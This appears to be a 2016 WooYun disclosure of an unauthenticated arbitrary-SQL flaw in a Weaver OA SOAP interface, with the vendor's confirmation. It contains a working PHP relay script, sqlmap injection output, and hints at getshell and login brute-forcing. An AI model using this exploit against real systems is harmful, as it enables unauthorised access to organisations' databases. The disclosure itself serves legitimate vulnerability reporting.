当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0178866

漏洞标题:泛微OA某接口无需登录可执行任意SQL语句(附脚本)

相关厂商:上海泛微网络科技股份有限公司

漏洞作者: 浮萍

提交时间:2016-02-26 16:10

修复时间:2016-05-26 17:20

公开时间:2016-05-26 17:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-02-26: 细节已通知厂商并且等待厂商处理中
2016-02-26: 厂商已经确认,细节仅向厂商公开
2016-02-29: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-04-21: 细节向核心白帽子及相关领域专家公开
2016-05-01: 细节向普通白帽子公开
2016-05-11: 细节向实习白帽子公开
2016-05-26: 细节向公众公开

简要描述:

荒废了
啥都不会
找工作啊

详细说明:

先以本地为例
http://localhost:8088/ws

Snap67.jpg


http://localhost:8088/ws/query?wsdl


Snap68.jpg


竟然提示

<faultstring>Unmarshalling Error: unexpected element (uri:"http://**.**.**.**/", local:"arg0"). Expected elements are &lt;{}arg1&gt;,&lt;{}arg0&gt; </faultstring>


搜索

Snap69.jpg


提示是参数问题
改代码肯定是不行的
那就改参数吧

Snap71.jpg


ORA-00900: 无效 sql 语句
看来是可以的
更改第一个参数

select SYS_CONTEXT('USERENV','CURRENT_USER') from dual


Snap72.jpg


查看用户量

Snap73.jpg


任意SQL执行
继续中转

<?php
$arg0=$_GET['sql'];
header("content-type:text/html;charset=utf-8");
try {
$client = new SoapClient('http://localhost:8088/ws/query?wsdl');
$xml = "
<SOAP-ENV:Envelope xmlns:SOAP-ENV='http://**.**.**.**/soap/envelope/' xmlns:soap='http://**.**.**.**/wsdl/soap/' xmlns:xsd='http://**.**.**.**/1999/XMLSchema' xmlns:xsi='http://**.**.**.**/1999/XMLSchema-instance' xmlns:m0='http://**.**.**.**/' xmlns:SOAP-ENC='http://**.**.**.**/soap/encoding/' xmlns:urn='http://**.**.**.**/'>
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<urn:queryBy>
<arg0>1</arg0>
<arg1>1</arg1>
</urn:queryBy>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
";
$result=$client->queryBy(array('arg0'=>$arg0,'arg1'=>'1'));
echo $result->return ;//显示结果
} catch (SOAPFault $e) {
print_r('Exception:'.$e);
}
?>


Snap74.jpg


SQL注入

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: sql
Type: inline query
Title: Oracle inline queries
Payload: sql=(SELECT CHR(113)||CHR(115)||CHR(112)||CHR(99)||CHR(113)||(SELEC
T (CASE WHEN (8499=8499) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(101)||CHR(
112)||CHR(97)||CHR(113) FROM DUAL)
---
[15:39:49] [INFO] the back-end DBMS is Oracle
web server operating system: Windows
web application technology: Apache 2.2.22, PHP 5.3.10
back-end DBMS: Oracle


available databases [20]:
[*] APEX_030200
[*] APPQOSSYS
[*] CTXSYS
[*] DBSNMP
[*] EWEAVER
[*] EXFSYS
[*] FLOWS_FILES
[*] MDSYS
[*] OLAPSYS
[*] ORDDATA
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] PM
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] WMSYS
[*] XDB

漏洞证明:

官方:http://**.**.**.**:9085/ws/query?wsdl

Snap76.jpg


Snap75.jpg


SQL注入就不进行了 毕竟可以执行SQL语句
http://**.**.**.**/ws/query?wsdl

Snap77.jpg


http://**.**.**.**/ws/query?wsdl

Snap78.jpg


http://**.**.**.**/bugs/wooyun-2015-0148980
这个估计还没修复 可以getshell
http://localhost:8088/ws/ew?wsdl
可以用于爆破登录

Snap79.jpg


Snap80.jpg


其他问题估计还有 自测吧

修复方案:

版权声明:转载请注明来源 浮萍@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2016-02-26 17:11

厂商回复:

漏洞确认,会尽快安排处理,非常感谢!

最新状态:

暂无